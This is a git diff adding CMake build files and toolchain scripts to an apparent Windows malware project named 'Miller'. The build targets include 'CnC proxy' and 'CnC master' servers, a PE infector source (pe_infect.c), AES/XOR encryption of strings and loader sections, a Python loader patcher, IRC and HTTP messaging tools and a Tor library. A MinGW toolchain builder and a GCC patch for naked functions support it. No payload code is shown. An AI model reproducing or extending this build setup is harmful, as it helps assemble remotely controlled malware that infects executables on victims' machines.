+set(PYLOAD_SO ${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${PYLOAD_NAME})
+
+set(PYCRYPT_NAME pycrypt)
+set(PYCRYPT_SO ${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${PYCRYPT_NAME})
+
+set(STRINGS_NAME strings-host)
+set(STRINGS_EXEC ${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${STRINGS_NAME})
+
+set(CNCPROXY_NAME cncproxy-host)
+set(CNCPROXY_EXEC ${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${CNCPROXY_NAME})
+
+set(CNCMASTER_NAME cncmaster-host)
+set(CNCMASTER_EXEC ${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${CNCMASTER_NAME})
+
+
+# BUILD HOST TOOLS (hdr_crypt, file_crypt)
+add_custom_command(OUTPUT ${HOST_TOOLS_MK} ${HOST_TOOLS_MKSTAMP}
+ COMMAND ${CMAKE_COMMAND} -E make_directory ${HOST_TOOLS_BUILDDIR}
+ COMMAND ${CMAKE_COMMAND} -E chdir ${HOST_TOOLS_BUILDDIR} ${CMAKE_COMMAND} -DMILLER_SRCDIR=${MILLER_SRCDIR} -DMILLER_HDRDIR=${MILLER_HDRDIR} -DMILLER_HDRDIR_CREATED=${MILLER_HDRDIR_CREATED} -DMILLER_TOOLSDIR=${MILLER_SRCDIR}/${TOOLS_DIR} -DPYTHON_INCDIR=${PYTHON_INCDIR} -DLOADER_ENDMARKER=${LOADER_ENDMARKER} -DINSTALL_DEST=${CMAKE_RUNTIME_OUTPUT_DIRECTORY} ${MILLER_SRCDIR}/${HOST_TOOLS_SRCDIR}
+ COMMAND ${CMAKE_COMMAND} -E remove ${CRYPT_EXEC} ${PYLOAD_SO} ${PYCRYPT_SO} ${STRINGS_EXEC}
+ COMMAND ${CMAKE_COMMAND} -E touch ${HOST_TOOLS_MKSTAMP}
+)
+add_custom_command(OUTPUT ${CRYPT_EXEC} /force-run
+ COMMAND ${CMAKE_MAKE_PROGRAM} -C ${HOST_TOOLS_BUILDDIR} ${CRYPT_NAME}-install
+)
+add_custom_command(OUTPUT ${PYLOAD_SO} /force-run
+ COMMAND ${CMAKE_MAKE_PROGRAM} -C ${HOST_TOOLS_BUILDDIR} ${PYLOAD_NAME}-install
+)
+add_custom_command(OUTPUT ${PYCRYPT_SO} /force-run
+ COMMAND ${CMAKE_MAKE_PROGRAM} -C ${HOST_TOOLS_BUILDDIR} ${PYCRYPT_NAME}-install
+)
+add_custom_command(OUTPUT ${PYHTTP_SO} /force-run
+ COMMAND ${CMAKE_MAKE_PROGRAM} -C ${HOST_TOOLS_BUILDDIR} ${PYHTTP_NAME}-install
+)
+add_custom_command(OUTPUT ${STRINGS_EXEC} /force-run
+ COMMAND ${CMAKE_MAKE_PROGRAM} -C ${HOST_TOOLS_BUILDDIR} ${STRINGS_NAME}-install
+)
+
+add_custom_target(host-tools
+ ALL
+ DEPENDS ${HOST_TOOLS_MKSTAMP}
+)
+add_custom_target(hdrcrypt
+ ALL
+ DEPENDS ${HOST_TOOLS_MKSTAMP} ${CRYPT_EXEC}
+)
+add_custom_target(pyloader
+ ALL
+ DEPENDS ${HOST_TOOLS_MKSTAMP} ${PYLOAD_SO}
+)
+add_custom_target(pycrypt
+ ALL
+ DEPENDS ${HOST_TOOLS_MKSTAMP} ${PYCRYPT_SO}
+)
+add_custom_target(strings
+ ALL
+ DEPENDS ${HOST_TOOLS_MKSTAMP} ${STRINGS_EXEC}
+)
+
+if (BUILD_CNCPROXY)
+add_custom_target(
+ cncproxy
+ COMMAND ${CMAKE_COMMAND} -E cmake_echo_color --cyan --bold "Building CnC proxy"
+ COMMAND ${CMAKE_MAKE_PROGRAM} ${CNCPROXY_NAME}-install IS_GCCGO=1 GOCC=${HOSTGO} INSTALL=install DESTDIR=${HOST_TOOLS_BUILDDIR}
+ WORKING_DIRECTORY ${HOST_TOOLS_CNCPROXY}
+)
+else()
+add_custom_target(
+ cncproxy
+ COMMAND ${CMAKE_COMMAND} -E cmake_echo_color --red --bold "Not building CnC proxy: disabled"
+)
+endif()
+
+if (BUILD_CNCMASTER)
+add_custom_target(
+ cncmaster
+ COMMAND ${CMAKE_COMMAND} -E cmake_echo_color --cyan --bold "Building CnC master"
+ COMMAND ${CMAKE_MAKE_PROGRAM} ${CNCMASTER_NAME}-install IS_GCCGO=1 GOCC=${HOSTGO} INSTALL=install DESTDIR=${HOST_TOOLS_BUILDDIR}
+ WORKING_DIRECTORY ${HOST_TOOLS_CNCMASTER}
+)
+else()
+add_custom_target(
+ cncmaster
+ COMMAND ${CMAKE_COMMAND} -E cmake_echo_color --red --bold "Not building CnC master: disabled"
+)
+endif()
+
+add_dependencies(strings pycrypt cryptout_xor)
+add_dependencies(pycrypt pyloader)
+add_dependencies(pyloader hdrcrypt)
+add_dependencies(hdrcrypt cncmaster)
+add_dependencies(cncmaster cncproxy host-tools)
diff --git a/cmake/CMakeMillerTests.cmake b/cmake/CMakeMillerTests.cmake
new file mode 100644
index 0000000..8a40530
--- /dev/null
+++ b/cmake/CMakeMillerTests.cmake
@@ -0,0 +1,28 @@
+set(tests_cflags "-Wall -Wextra -Werror -Wno-cast-function-type -Wno-switch -std=gnu99 -ffast-math -fno-trapping-math -fno-signaling-nans -fvisibility=hidden -fomit-frame-pointer -fexpensive-optimizations -Os -static -fdata-sections -ffunction-sections")
+set(tests_ldflags "-s -Wl,--exclude-all-symbols -Wl,--exclude-libs,msvcrt.a -Wl,--gc-sections -Wl,--strip-all -Qn -v -fPIE")
+
+set(TESTS_SRC run_tests.c test_compat.c test_mem.c test_pe.c test_utils.c test_asm.c test_aes.c test_crypt.c test_http.c)
+set(TESTS_MILLER_SRC crypt_strings.c snprintf.c compat.c math.c utils.c aes.c crypt.c file.c pe_infect.c patch.c disasm.c http.c)
+PrefixPath(TESTS_SRC source/tests ${TESTS_SRC})
+PrefixPath(TESTS_MILLER_SRC ${MILLER_SRCDIR} ${TESTS_MILLER_SRC})
+
+if (BUILD_TESTS)
+ add_executable(tests ${TESTS_MILLER_SRC} ${TESTS_SRC})
+ add_dependencies(tests cryptout_xor cryptout_aes loader_gen)
+ set_target_properties(tests PROPERTIES COMPILE_FLAGS "${tests_cflags}")
+ set_target_properties(tests PROPERTIES LINK_FLAGS "${tests_ldflags} -Wl,-Map,${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${PROJECT_NAME}-tests.map")
+ target_link_libraries(tests distorm_pre)
+ target_include_directories(tests PRIVATE ${MILLER_HDRDIR_CREATED})
+ target_compile_definitions(tests PRIVATE _GNU_SOURCE=1 _RUN_TESTS=1 ${DISTORM_PRE_DEFS} ${LOADERBASE_DEFS})
+ install(TARGETS tests RUNTIME DESTINATION ${INSTALL_DEST})
+ add_custom_target(check DEPENDS tests)
+ add_custom_command(TARGET check POST_BUILD
+ COMMAND wine ${CMAKE_BINARY_DIR}/bin/tests.exe
+ )
+else()
+ add_custom_target(check)
+ add_custom_command(TARGET check POST_BUILD
+ COMMAND ${CMAKE_COMMAND} -E cmake_echo_color --red --bold "${CMAKE_COMMAND}: make check requires a build with -DBUILD_TESTS enabled"
+ COMMAND false
+ )
+endif()
diff --git a/cmake/CMakeMillerTools.cmake b/cmake/CMakeMillerTools.cmake
new file mode 100644
index 0000000..107a505
--- /dev/null
+++ b/cmake/CMakeMillerTools.cmake
@@ -0,0 +1,136 @@
+# CREATE HEADER FILES (using host tools)
+add_custom_command(OUTPUT ${CRYPT_AESOUT_STAMP} ${CRYPT_AESOUT} ${LOADER_CRYPT_STAMP} ${LOADER_CRYPT}
+ COMMAND ${CRYPT_EXEC} aes ${CRYPT_AESFILE} ${CRYPT_AESOUT} AES_KEY
+ COMMAND ${CRYPT_EXEC} aes ${LOADER_HEADER} ${LOADER_CRYPT} LDR_KEY
+ COMMAND ${CMAKE_COMMAND} -E touch ${CRYPT_AESOUT_STAMP} ${LOADER_CRYPT_STAMP}
+)
+add_custom_command(OUTPUT ${CRYPT_XOROUT_STAMP} ${CRYPT_XOROUT}
+ COMMAND ${CRYPT_EXEC} xor ${CRYPT_XORFILE} ${CRYPT_XOROUT} XOR_KEY
+ COMMAND ${CMAKE_COMMAND} -E touch ${CRYPT_XOROUT_STAMP}
+)
+add_custom_target(cryptout_aes
+ DEPENDS hdrcrypt loader_gen ${LOADER_HEADER} ${CRYPT_AESFILE} ${LOADER_CRYPT_STAMP} ${LOADER_CRYPT} ${CRYPT_AESOUT_STAMP} ${CRYPT_AESOUT}
+)
+add_custom_target(cryptout_xor
+ DEPENDS hdrcrypt ${CRYPT_XORFILE} ${CRYPT_XOROUT_STAMP} ${CRYPT_XOROUT}
+)
+set_source_files_properties(${CRYPT_XOROUT} PROPERTIES GENERATED 1)
+set_source_files_properties(${CRYPT_AESOUT} PROPERTIES GENERATED 1)
+set_source_files_properties(${LOADER_CRYPT} PROPERTIES GENERATED 1)
+
+# BUILD TARGET TOOLS
+add_executable(dummy ${MILLER_SRCDIR}/${TOOLS_DIR}/dummy.c)
+set_target_properties(dummy PROPERTIES COMPILE_FLAGS "-s")
+add_custom_command(TARGET dummy POST_BUILD
+ COMMAND ${CMAKE_STRIP} -s "$<TARGET_FILE:dummy>"
+)
+
+set(DUMMY_GUI_DIR ${MILLER_SRCDIR}/${TOOLS_DIR}/dummy_gui)
+add_executable(dummy_gui ${DUMMY_GUI_DIR}/callbacks.c ${DUMMY_GUI_DIR}/res/resource.rc ${DUMMY_GUI_DIR}/winmain.c)
+set_target_properties(dummy_gui PROPERTIES COMPILE_FLAGS "-O3")
+set_target_properties(dummy_gui PROPERTIES LINK_FLAGS "-s -Wl,--subsystem,windows")
+target_compile_definitions(dummy_gui PRIVATE UNICODE=1 _UNICODE=1 _WIN32_IE=0x0500 WINVER=0x500)
+target_link_libraries(dummy_gui comctl32)
+target_include_directories(dummy_gui PRIVATE ${DUMMY_GUI_DIR})
+
+add_library(dummydll SHARED ${MILLER_SRCDIR}/${TOOLS_DIR}/dummy.c)
+
+add_executable(loader_base ${MILLER_SRCDIR}/${TOOLS_DIR}/loader_base.c)
+add_dependencies(loader_base ${PROJECT_NAME}_pre-shared ${PROJECT_NAME}_pre-shared_bin)
+set_target_properties(loader_base PROPERTIES COMPILE_FLAGS "-s -O0")
+target_compile_definitions(loader_base PRIVATE ${DISTORM_DEFS} ${MILLER_DEFS} ${LOADERBASE_DEFS} _DEBUG=1)
+target_link_libraries(loader_base ${LOADER_X86}_debug)
+
+add_executable(loader_base_enc ${MILLER_SRCDIR}/${TOOLS_DIR}/loader_base.c)
+add_dependencies(loader_base_enc ${PROJECT_NAME}_pre-shared ${PROJECT_NAME}_pre-shared_bin)
+set_target_properties(loader_base_enc PROPERTIES COMPILE_FLAGS "-s -O0")
+target_compile_definitions(loader_base_enc PRIVATE ${DISTORM_DEFS} ${MILLER_DEFS} ${LOADERBASE_DEFS} _DEBUG=1)
+target_link_libraries(loader_base_enc ${LOADER_X86}_debug)
+
+add_executable(release ${MILLER_SRCDIR}/${TOOLS_DIR}/loader_base.c)
+add_dependencies(release ${PROJECT_NAME}-shared)
+set_target_properties(release PROPERTIES COMPILE_FLAGS "-s -O0")
+target_compile_definitions(release PRIVATE ${DISTORM_DEFS} ${MILLER_DEFS} ${LOADERBASE_DEFS} _DEBUG=1)
+target_link_libraries(release ${LOADER_X86})
+
+if (BUILD_ALL_TOOLS)
+ add_executable(decrypter ${MILLER_SRCDIR}/${TOOLS_DIR}/helper.c ${MILLER_SRCDIR}/crypt.c ${MILLER_SRCDIR}/${TOOLS_DIR}/decrypter.c)
+ set_target_properties(decrypter PROPERTIES COMPILE_FLAGS "-s -O0")
+ target_compile_definitions(decrypter PRIVATE _NO_COMPAT=1 ${LOADERBASE_DEFS} _DEBUG=1)
+ target_link_libraries(decrypter ${DECRYPTER_X86})
+
+ add_executable(disasm ${MILLER_SRCDIR}/disasm.c ${MILLER_SRCDIR}/${TOOLS_DIR}/disasm.c)
+ set_target_properties(disasm PROPERTIES COMPILE_FLAGS "${default_cflags}")
+ target_link_libraries(disasm distorm_pre)
+
+ add_executable(loader_decrypt ${MILLER_SRCDIR}/aes.c ${MILLER_SRCDIR}/math.c ${MILLER_SRCDIR}/utils.c ${MILLER_SRCDIR}/${TOOLS_DIR}/helper.c ${MILLER_SRCDIR}/${TOOLS_DIR}/loader_decrypt.c)
+ add_dependencies(loader_decrypt loader_gen cryptout_aes)
+ set_target_properties(loader_decrypt PROPERTIES COMPILE_FLAGS "")
+ target_include_directories(loader_decrypt PRIVATE ${MILLER_HDRDIR_CREATED})
+ target_compile_definitions(loader_decrypt PRIVATE ${MILLER_DEFS} _GNU_SOURCE=1 _NO_COMPAT=1 _NO_UTILS=1)
+
+ set(alltools_targets decrypter disasm loader_decrypt)
+else()
+ set(alltools_targets "")
+endif()
+
+add_executable(loadmodule ${MILLER_SRCDIR}/${TOOLS_DIR}/loadmodule.c)
+target_compile_definitions(loadmodule PRIVATE ${DISTORM_DEFS} ${MILLER_DEFS} ${LOADERBASE_DEFS})
+
+add_executable(runbin ${MILLER_SRCDIR}/${TOOLS_DIR}/runbin.c)
+set_target_properties(runbin PROPERTIES COMPILE_FLAGS "${default_cflags}")
+target_compile_definitions(runbin PRIVATE ${LOADERBASE_DEFS})
+
+add_custom_command(TARGET loader_base POST_BUILD
+ COMMAND ${CMAKE_STRIP} -s "$<TARGET_FILE:loader_base>"
+ COMMAND ${CMAKE_OBJCOPY} --add-section ${MILLER_SECTION}=${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${PROJECT_NAME}_pre.bin --set-section-flags ${MILLER_SECTION}=CONTENTS,ALLOC,LOAD,READONLY --change-section-address ${MILLER_SECTION}=${MILLER_SECTION_ADDRESS} "$<TARGET_FILE:loader_base>"
+ COMMAND ${PYTHON} ${CMAKE_SOURCE_DIR}/batch/patchLoader.py --pyload=${PYLOAD_SO} --pycrypt=${PYCRYPT_SO} --win32="$<TARGET_FILE:loader_base>" --binary=${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${PROJECT_NAME}_pre.bin --ldr-section=${LOADER_SECTION} --dll-section=${MILLER_SECTION} --endmarker=${LOADER_ENDMARKER} --patch --crypt-strings
+)
+add_dependencies(loader_base pyloader pycrypt ${PROJECT_NAME}-shared_bin)
+
+add_custom_command(TARGET loader_base_enc POST_BUILD
+ COMMAND ${CMAKE_STRIP} -s "$<TARGET_FILE:loader_base_enc>"
+ COMMAND ${CMAKE_OBJCOPY} --add-section ${MILLER_SECTION}=${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${PROJECT_NAME}_pre.bin --set-section-flags ${MILLER_SECTION}=CONTENTS,ALLOC,LOAD,READONLY --change-section-address ${MILLER_SECTION}=${MILLER_SECTION_ADDRESS} "$<TARGET_FILE:loader_base_enc>"
+ COMMAND ${PYTHON} ${CMAKE_SOURCE_DIR}/batch/patchLoader.py --pyload=${PYLOAD_SO} --pycrypt=${PYCRYPT_SO} --win32="$<TARGET_FILE:loader_base_enc>" --binary=${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${PROJECT_NAME}_pre.bin --ldr-section=${LOADER_SECTION} --dll-section=${MILLER_SECTION} --endmarker=${LOADER_ENDMARKER} --patch --crypt-strings --crypt-dll
+)
+add_dependencies(loader_base_enc pyloader pycrypt ${PROJECT_NAME}_pre-shared_bin)
+
+add_custom_command(TARGET release POST_BUILD
+ COMMAND ${CMAKE_STRIP} -s "$<TARGET_FILE:release>"
+ COMMAND ${CMAKE_OBJCOPY} --add-section ${MILLER_SECTION}=${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${PROJECT_NAME}.bin --set-section-flags ${MILLER_SECTION}=CONTENTS,ALLOC,LOAD,READONLY --change-section-address ${MILLER_SECTION}=${MILLER_SECTION_ADDRESS} "$<TARGET_FILE:release>"
+ COMMAND ${PYTHON} ${CMAKE_SOURCE_DIR}/batch/patchLoader.py --pyload=${PYLOAD_SO} --pycrypt=${PYCRYPT_SO} --win32="$<TARGET_FILE:release>" --binary=${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${PROJECT_NAME}.bin --ldr-section=${LOADER_SECTION} --dll-section=${MILLER_SECTION} --endmarker=${LOADER_ENDMARKER} --patch --crypt-strings --crypt-dll
+)
+add_dependencies(release pyloader pycrypt ${PROJECT_NAME}-shared_bin)
+
+if (ENABLE_MSG_PIPES)
+ add_executable(pipe_server ${MILLER_SRCDIR}/${TOOLS_DIR}/pipe_server.c)
+ target_compile_definitions(pipe_server PRIVATE _GNU_SOURCE=1 ${MILLER_PRE_DEFS})
+ add_executable(pipe_client ${MILLER_SRCDIR}/${TOOLS_DIR}/pipe_client.c)
+ target_compile_definitions(pipe_client PRIVATE _GNU_SOURCE=1 ${MILLER_PRE_DEFS})
+ set(pipe_targets pipe_server pipe_client)
+else()
+ set(pipe_targets "")
+endif()
+
+if (ENABLE_IRC)
+ add_executable(ircmsg ${MILLER_SRCDIR}/snprintf.c ${MILLER_SRCDIR}/crypt_strings.c ${MILLER_SRCDIR}/compat.c ${MILLER_SRCDIR}/math.c ${MILLER_SRCDIR}/utils.c ${MILLER_SRCDIR}/crypt.c ${MILLER_SRCDIR}/irc.c ${MILLER_SRCDIR}/${TOOLS_DIR}/ircmsg.c)
+ add_dependencies(ircmsg cryptout_xor)
+ set_target_properties(ircmsg PROPERTIES COMPILE_FLAGS "${default_cflags}")
+ target_include_directories(ircmsg PRIVATE ${MILLER_HDRDIR_CREATED})
+ target_compile_definitions(ircmsg PRIVATE ${MILLER_PRE_DEFS} _ENABLE_IRC=1 _GNU_SOURCE=1 _DISABLE_MYGETPROC=1 _PRE_RELEASE=1 _STDIO_DEFINED=1)
+ target_link_libraries(ircmsg ws2_32)
+ set(irc_targets ircmsg)
+else()
+ set(irc_targets "")
+endif()
+
+add_executable(httpquery ${MILLER_SRCDIR}/snprintf.c ${MILLER_SRCDIR}/crypt_strings.c ${MILLER_SRCDIR}/compat.c ${MILLER_SRCDIR}/math.c ${MILLER_SRCDIR}/file.c ${MILLER_SRCDIR}/utils.c ${MILLER_SRCDIR}/crypt.c ${MILLER_SRCDIR}/http.c ${MILLER_SRCDIR}/${TOOLS_DIR}/httpquery.c)
+add_dependencies(httpquery cryptout_xor)
+set_target_properties(httpquery PROPERTIES COMPILE_FLAGS "${default_cflags}")
+target_include_directories(httpquery PRIVATE ${MILLER_HDRDIR_CREATED})
+target_compile_definitions(httpquery PRIVATE _DISABLE_MYGETPROC=1 ${MILLER_PRE_DEFS} _GNU_SOURCE=1 _PRE_RELEASE=1 _STDIO_DEFINED=1)
+
+add_executable(libtor ${MILLER_SRCDIR}/${TOOLS_DIR}/libtor.c)
+set_target_properties(httpquery PROPERTIES COMPILE_FLAGS "${default_cflags}")
+
+install(TARGETS loadmodule loader_base loader_base_enc release dummy dummy_gui runbin ${pipe_targets} ${alltools_targets} ${irc_targets} httpquery libtor RUNTIME DESTINATION ${INSTALL_DEST})
diff --git a/cmake/CheckCSourceCompiles.cmake b/cmake/CheckCSourceCompiles.cmake
new file mode 100644
index 0000000..56e68d5
--- /dev/null
+++ b/cmake/CheckCSourceCompiles.cmake
@@ -0,0 +1,133 @@
+# Distributed under the OSI-approved BSD 3-Clause License. See accompanying
+# file Copyright.txt or https://cmake.org/licensing for details.
+
+#[=======================================================================[.rst:
+CheckCSourceCompiles
+--------------------
+
+Check if given C source compiles and links into an executable.
+
+.. command:: check_c_source_compiles
+
+ ::
+
+ check_c_source_compiles(code resultVar [FAIL_REGEX regex1 [regex2...]])
+
+ Check that the source supplied in ``code`` can be compiled as a C source
+ file and linked as an executable (so it must contain at least a ``main()``
+ function). The result will be stored in the internal cache variable specified
+ by ``resultVar``, with a boolean true value for success and boolean false for
+ failure. If ``FAIL_REGEX`` is provided, then failure is determined by
+ checking if anything in the output matches any of the specified regular
+ expressions.
+
+ The underlying check is performed by the :command:`try_compile` command. The
+ compile and link commands can be influenced by setting any of the following
+ variables prior to calling ``check_c_source_compiles()``:
+
+ ``CMAKE_REQUIRED_FLAGS``
+ Additional flags to pass to the compiler. Note that the contents of
+ :variable:`CMAKE_C_FLAGS <CMAKE_<LANG>_FLAGS>` and its associated
+ configuration-specific variable are automatically added to the compiler
+ command before the contents of ``CMAKE_REQUIRED_FLAGS``.
+
+ ``CMAKE_REQUIRED_DEFINITIONS``
+ A :ref:`;-list <CMake Language Lists>` of compiler definitions of the form
+ ``-DFOO`` or ``-DFOO=bar``. A definition for the name specified by
+ ``resultVar`` will also be added automatically.
+
+ ``CMAKE_REQUIRED_INCLUDES``
+ A :ref:`;-list <CMake Language Lists>` of header search paths to pass to
+ the compiler. These will be the only header search paths used by
+ ``try_compile()``, i.e. the contents of the :prop_dir:`INCLUDE_DIRECTORIES`
+ directory property will be ignored.
+
+ ``CMAKE_REQUIRED_LIBRARIES``
+ A :ref:`;-list <CMake Language Lists>` of libraries to add to the link
+ command. These can be the name of system libraries or they can be
+ :ref:`Imported Targets <Imported Targets>` (see :command:`try_compile` for
+ further details).
+
+ ``CMAKE_REQUIRED_QUIET``
+ If this variable evaluates to a boolean true value, all status messages
+ associated with the check will be suppressed.
+
+ The check is only performed once, with the result cached in the variable
+ named by ``resultVar``. Every subsequent CMake run will re-use this cached
+ value rather than performing the check again, even if the ``code`` changes.
+ In order to force the check to be re-evaluated, the variable named by
+ ``resultVar`` must be manually removed from the cache.
+
+#]=======================================================================]
+
+
+macro(CHECK_C_SOURCE_COMPILES SOURCE VAR)
+ if(NOT DEFINED "${VAR}")
+ set(_FAIL_REGEX)
+ set(_key)
+ foreach(arg ${ARGN})
+ if("${arg}" MATCHES "^(FAIL_REGEX)$")
+ set(_key "${arg}")
+ elseif(_key)
+ list(APPEND _${_key} "${arg}")
+ else()
+ message(FATAL_ERROR "Unknown argument:\n ${arg}\n")
+ endif()
+ endforeach()
+ set(MACRO_CHECK_FUNCTION_DEFINITIONS
+ "-D${VAR} ${CMAKE_REQUIRED_FLAGS}")
+ if(CMAKE_REQUIRED_LIBRARIES)
+ set(CHECK_C_SOURCE_COMPILES_ADD_LIBRARIES
+ LINK_LIBRARIES ${CMAKE_REQUIRED_LIBRARIES})
+ else()
+ set(CHECK_C_SOURCE_COMPILES_ADD_LIBRARIES)
+ endif()
+ if(CMAKE_REQUIRED_INCLUDES)
+ set(CHECK_C_SOURCE_COMPILES_ADD_INCLUDES
+ "-DINCLUDE_DIRECTORIES:STRING=${CMAKE_REQUIRED_INCLUDES}")
+ else()
+ set(CHECK_C_SOURCE_COMPILES_ADD_INCLUDES)
+ endif()
+ file(WRITE "${CMAKE_BINARY_DIR}${CMAKE_FILES_DIRECTORY}/CMakeTmp/src.c"
+ "${SOURCE}\n")
+
+ if(NOT CMAKE_REQUIRED_QUIET)
+ message(STATUS "Performing Test ${VAR}")
+ endif()
+ try_compile(${VAR}
+ ${CMAKE_BINARY_DIR}
+ ${CMAKE_BINARY_DIR}${CMAKE_FILES_DIRECTORY}/CMakeTmp/src.c
+ COMPILE_DEFINITIONS ${CMAKE_REQUIRED_DEFINITIONS}
+ ${CHECK_C_SOURCE_COMPILES_ADD_LIBRARIES}
+ CMAKE_FLAGS -DCOMPILE_DEFINITIONS:STRING=${MACRO_CHECK_FUNCTION_DEFINITIONS}
+ "${CHECK_C_SOURCE_COMPILES_ADD_INCLUDES}"
+ OUTPUT_VARIABLE OUTPUT)
+
+ foreach(_regex ${_FAIL_REGEX})
+ if("${OUTPUT}" MATCHES "${_regex}")
+ set(${VAR} 0)
+ endif()
+ endforeach()
+
+ if(${VAR})
+ set(${VAR} 1 CACHE INTERNAL "Test ${VAR}")
+ if(NOT CMAKE_REQUIRED_QUIET)
+ message(STATUS "Performing Test ${VAR} - Success")
+ endif()
+ file(APPEND ${CMAKE_BINARY_DIR}${CMAKE_FILES_DIRECTORY}/CMakeOutput.log
+ "Performing C SOURCE FILE Test ${VAR} succeeded with the following output:\n"
+ "${OUTPUT}\n"
+ "Source file was:\n${SOURCE}\n")
+ else()
+ if(NOT CMAKE_REQUIRED_QUIET)
+ message(STATUS "Performing Test ${VAR} - Failed")
+ endif()
+ set(${VAR} "" CACHE INTERNAL "Test ${VAR}")
+ file(APPEND ${CMAKE_BINARY_DIR}${CMAKE_FILES_DIRECTORY}/CMakeError.log
+ "Performing C SOURCE FILE Test ${VAR} failed with the following output:\n"
+ "${OUTPUT}\n"
+ "Source file was:\n${SOURCE}\n")
+ endif()
+ endif()
+endmacro()
+
diff --git a/deps/.gitignore b/deps/.gitignore
new file mode 100644
index 0000000..ef92fa5
--- /dev/null
+++ b/deps/.gitignore
@@ -0,0 +1,5 @@
+/sysroot
+/.stamp-python
+/get-pip.py
+*.tar.gz
+*.tar.bz2
diff --git a/deps/config.sh b/deps/config.sh
new file mode 100755
index 0000000..766991e
--- /dev/null
+++ b/deps/config.sh
@@ -0,0 +1,29 @@
+#!/bin/bash
+
+MYPWD=$(realpath $(dirname ${BASH_SOURCE[0]}))
+echo ">>> ${MYPWD}"
+
+export targ="i686-w64-mingw32"
+echo "target = ${targ}"
+
+export MY_SYS_ROOT="${MYPWD}/sysroot"
+echo "sysroot = ${MY_SYS_ROOT}"
+
+if [[ $- =~ e ]]; then
+ echo '>>> disabled bash exit on non-zero (set -e)'
+ BASH_EXITONFAIL=1
+ set +e
+else
+ BASH_EXITONFAIL=0
+fi
+
+echo "${PATH}" | grep -qoE ":${MY_SYS_ROOT}"
+if [ $? -ne 0 ]; then
+ export PATH="${MY_SYS_ROOT}/bin:${MY_SYS_ROOT}/${targ}/bin:${PATH}"
+fi
+echo "PATH = ${PATH}"
+
+if [ $BASH_EXITONFAIL -eq 1 ]; then
+ set -e
+ unset BASH_EXITONFAIL
+fi
diff --git a/deps/gcc-4.9.4-naked.patch b/deps/gcc-4.9.4-naked.patch
new file mode 100644
index 0000000..c3c7e74
--- /dev/null
+++ b/deps/gcc-4.9.4-naked.patch
@@ -0,0 +1,66 @@
+diff -Naur gcc-4.9.4-orig/gcc/config/i386/i386.c gcc-4.9.4/gcc/config/i386/i386.c
+--- gcc-4.9.4-orig/gcc/config/i386/i386.c
++++ gcc-4.9.4/gcc/config/i386/i386.c
+@@ -6041,6 +6041,14 @@
+ return false;
+ }
+
++static bool
++ix86_function_naked (const_tree fn)
++{
++ if (fn && lookup_attribute ("naked", DECL_ATTRIBUTES (fn)))
++ return true;
++ return false;
++}
++
+ static enum calling_abi
+ ix86_function_abi (const_tree fndecl)
+ {
+@@ -9078,6 +9086,9 @@
+ {
+ struct ix86_frame frame;
+
++ if (ix86_function_naked (current_function_decl))
++ return false;
++
+ if (! reload_completed || frame_pointer_needed)
+ return 0;
+
+@@ -9090,7 +9101,7 @@
+ return (frame.stack_pointer_offset == UNITS_PER_WORD
+ && (frame.nregs + frame.nsseregs) == 0);
+ }
+-
++
+ /* Value should be nonzero if functions must have frame pointers.
+ Zero means the frame pointer need not be set up (and parms may
+ be accessed via the stack pointer) in functions that seem suitable. */
+@@ -10753,6 +10764,9 @@
+ bool int_registers_saved;
+ bool sse_registers_saved;
+
++ if (ix86_function_naked (current_function_decl))
++ return;
++
+ ix86_finalize_stack_realign_flags ();
+
+ /* DRAP should not coexist with stack_realign_fp */
+@@ -11459,6 +11473,9 @@
+ bool restore_regs_via_mov;
+ bool using_drap;
+
++ if (ix86_function_naked (current_function_decl))
++ return;
++
+ ix86_finalize_stack_realign_flags ();
+ ix86_compute_frame_layout (&frame);
+
+@@ -42414,6 +42431,8 @@
+ false },
+ { "callee_pop_aggregate_return", 1, 1, false, true, true,
+ ix86_handle_callee_pop_aggregate_return, true },
++ { "naked", 0, 0, true, false, false,
++ ix86_handle_fndecl_attribute, false },
+ /* End element. */
+ { NULL, 0, 0, false, false, false, NULL, false }
+ };
diff --git a/deps/makedeps.sh b/deps/makedeps.sh
new file mode 100755
index 0000000..8d16ced
--- /dev/null
+++ b/deps/makedeps.sh
@@ -0,0 +1,495 @@
+#!/bin/bash
+#
+# Module: makedeps.sh
+# Author: Toni <matzeton@googlemail.com>
+# Purpose: Build full host- and mingw64 C toolchain without multilib support ..
+# (Using built-in specs.)
+# Changed: 04.01.2018
+#
+# Automated Build Steps:
+# 1. build host binutils
+# 2. build host gcc
+# 3. build host python
+# 4. build host tor (try)
+# 5. build mingw64 binutils
+# 6. build mingw64 gcc core (with mingw64 headers)
+# 7. build mingw64 winpthreads
+# 8. build mingw64 gcc
+# 9. build mingw tor/libtor and dependencies (try)
+#
+# mingw64 target : i686-w64-mingw32
+# mingw64 Thread model: WINPTHREAD
+#
+
+# basic commands
+command -v "echo" >/dev/null 2>&1 || exit 1
+command -v "printf" >/dev/null 2>&1 || exit 1
+command -v "for" >/dev/null 2>&1 || exit 1
+command -v "do" >/dev/null 2>&1 || exit 1
+command -v "in" >/dev/null 2>&1 || exit 1
+command -v "done" >/dev/null 2>&1 || exit 1
+# required commands
+REQ_CMDS=( "set" "unset" "exec" "export" "test" "if" "else" "fi" "tput" "pwd" "dirname" "touch" "date" "wget" "tar" "mkdir" "patch" "mv" "cd" "make" "cp" "ln" "install" "realpath" "tail" \
+ "gcc" "g++" "cpp" "ar" "as" "ld" "ranlib" "strip" )
+for cmd in "${REQ_CMDS[@]}"
+do
+ command -v "${cmd}" >/dev/null 2>&1 || { echo >&2 "$0: I need command \"${cmd}\" but it's not installed. Aborting."; exit 1; }
+done
+# bash version check
+if [ -z "${BASH_VERSINFO}" ]; then
+ echo >&2 "$0: Bash version variable \${BASH_VERSINFO}"
+ exit 1
+fi
+if [ ${BASH_VERSINFO[0]} -lt 4 -a ${BASH_VERSINFO[1]} -lt 3 ]; then
+ echo >&2 "$0: Bash version 4.3.* required!"
+ exit 1
+fi
